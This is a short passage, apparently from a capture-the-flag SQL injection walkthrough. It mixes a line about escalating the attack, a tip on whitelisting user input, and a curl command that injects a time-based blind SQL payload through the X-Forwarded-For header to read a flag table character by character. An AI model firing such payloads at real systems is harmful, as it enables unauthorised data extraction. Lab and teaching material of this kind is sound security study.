Now that we have extracted database information, we can escalate the attack to gain more access.

Validate all user inputs against strict whitelists of allowed characters or formats. Reject any input that deviates from the expected pattern rather than trying to sanitize malicious content.

curl -H "X-Forwarded-For:1' AND (SELECT sleep(5) FROM flag where (ASCII(SUBSTR(flag,1,1))) = '84'); --+" http://target_IP/terms-and-conditions